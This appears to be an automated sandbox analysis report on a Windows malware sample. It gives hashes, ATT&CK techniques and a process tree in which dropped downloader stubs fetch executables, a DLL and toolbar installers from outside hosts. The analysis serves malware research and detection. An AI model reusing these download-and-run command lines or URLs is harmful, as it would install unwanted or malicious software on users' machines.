b00c67fc05ccaba14961bc812f074921b720458b8482a5b81730677f6a6fcf46

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
04/06/2024, 02:35

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General

Target
93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe
Size 337KB
Sample240604-c2575sba56
SHA256 b00c67fc05ccaba14961bc812f074921b720458b8482a5b81730677f6a6fcf46
MD5 93672e68da1ece107ba28837bf0af0ef
SHA1 0955d6cd89a5e549b01db928ea4f16cda3ff11c1
SHA512 badf4781e044a7470bed5a5b2fea088cc90b54970700422d4fcbb19bf085932e905dea0f38a9f8f77af7bb4570e3ec5981dbd85dcd69b023e90ed825a601bfa2
SSDEEP 6144:oc63Az3BHt+I4bv9Z2/itCwZBTpmtTa1uZl9VIbJoYblMB:GGRyjrYmOTakZEDa
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 7 IoCs

pid	Process
1976	downloaderSTUB.exe
2260	downloaderSTUB.exe
2764	downloaderSTUB.exe
2636	downloaderOFFER1.exe
2580	downloaderDDLR.exe
2032	preinstaller.exe
2752	downloaderOFFER1.exe

Loads dropped DLL 37 IoCs

pid	Process
2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe
2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe
2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe
2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe
2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe
2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe
2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe
1976	downloaderSTUB.exe
2260	downloaderSTUB.exe
2764	downloaderSTUB.exe
2636	downloaderOFFER1.exe
2580	downloaderDDLR.exe
2752	downloaderOFFER1.exe
1976	downloaderSTUB.exe
2260	downloaderSTUB.exe
2764	downloaderSTUB.exe
2636	downloaderOFFER1.exe
2580	downloaderDDLR.exe
2752	downloaderOFFER1.exe
1976	downloaderSTUB.exe
2260	downloaderSTUB.exe
2764	downloaderSTUB.exe
2636	downloaderOFFER1.exe
2580	downloaderDDLR.exe
2752	downloaderOFFER1.exe
1976	downloaderSTUB.exe
2260	downloaderSTUB.exe
2764	downloaderSTUB.exe
2636	downloaderOFFER1.exe
2580	downloaderDDLR.exe
2752	downloaderOFFER1.exe
1976	downloaderSTUB.exe
2764	downloaderSTUB.exe
2260	downloaderSTUB.exe
2636	downloaderOFFER1.exe
2580	downloaderDDLR.exe
2752	downloaderOFFER1.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x0008000000015cf5-4.dat	nsis_installer_1
behavioral1/files/0x0008000000015cf5-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 2944 wrote to memory of 1976	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	28
PID 2944 wrote to memory of 1976	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	28
PID 2944 wrote to memory of 1976	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	28
PID 2944 wrote to memory of 1976	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	28
PID 2944 wrote to memory of 2764	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	29
PID 2944 wrote to memory of 2764	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	29
PID 2944 wrote to memory of 2764	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	29
PID 2944 wrote to memory of 2764	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	29
PID 2944 wrote to memory of 2260	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	30
PID 2944 wrote to memory of 2260	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	30
PID 2944 wrote to memory of 2260	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	30
PID 2944 wrote to memory of 2260	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	30
PID 2944 wrote to memory of 2580	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	31
PID 2944 wrote to memory of 2580	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	31
PID 2944 wrote to memory of 2580	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	31
PID 2944 wrote to memory of 2580	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	31
PID 2944 wrote to memory of 2636	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	32
PID 2944 wrote to memory of 2636	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	32
PID 2944 wrote to memory of 2636	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	32
PID 2944 wrote to memory of 2636	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	32
PID 2944 wrote to memory of 2752	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	33
PID 2944 wrote to memory of 2752	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	33
PID 2944 wrote to memory of 2752	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	33
PID 2944 wrote to memory of 2752	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	33
PID 2944 wrote to memory of 2032	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	34
PID 2944 wrote to memory of 2032	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	34
PID 2944 wrote to memory of 2032	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	34
PID 2944 wrote to memory of 2032	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	34
PID 2944 wrote to memory of 2032	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	34
PID 2944 wrote to memory of 2032	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	34
PID 2944 wrote to memory of 2032	2944	93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe	34

C:\Users\Admin\AppData\Local\Temp\93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\93672e68da1ece107ba28837bf0af0ef_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1976
- C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2764
- C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2260
- C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2580
- C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\volcano.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2636
- C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\pricepeep.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2752
- C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\preinstaller.exe 0 "nude" "Download"
  2⤵
  - Executes dropped EXE
  PID:2032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

downloaderOFFER2.exe

Path C:\Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\downloaderOFFER2.exe
Size 58KB
SHA256 fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24
MD5 c7f6ed56312c8fbb58ae6ed445c38df4
SHA1 e2dba94ef052db774478b9f7198c1a2298b334e5
SHA512 ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43
SSDEEP 1536:tLXB65939tY6HBg4sXJhweErCi/S8qcy4PLv:tLk395hYXJh0C6jy4z
MD5 SHA1 SHA512 SSDEEP

Submit Download

preinstaller.exe

Path \Users\Admin\AppData\Local\Temp\e7e5d432e84cf57656bb44fa95a33c1d\preinstaller.exe
Size 241KB
SHA256 f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb
MD5 9d8fe8bcc4c493b2fd1da8d2b07ba57c
SHA1 aa9366eb9210c8a5398b5e55921c92ce8970df5b
SHA512 3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216
SSDEEP 6144:gLZpiirZUwURUebtBGVBpBwXVUTL7E97IkXQxBRUoz0iYvF:4NYEVjBwXVwM9vylz3YvF
MD5 SHA1 SHA512 SSDEEP

Submit Download

NSISdl.dll

Path \Users\Admin\AppData\Local\Temp\nsd14F8.tmp\NSISdl.dll
Size 14KB
SHA256 dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9
MD5 a5f8399a743ab7f9c88c645c35b1ebb5
SHA1 168f3c158913b0367bf79fa413357fbe97018191
SHA512 824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977
SSDEEP 192:tUZTobBDJ68r67wmsvJI5ad9cXzFOVu+mZ/P3p+57CvpVqDxVp01Dwn2GRPgsfA:6Bo/680dCI5adOjFOg9//p27uNw2Go
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2032-68-0x0000000000400000-0x0000000000446000-memory.dmp

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memory/2944-67-0x0000000000400000-0x0000000000440000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads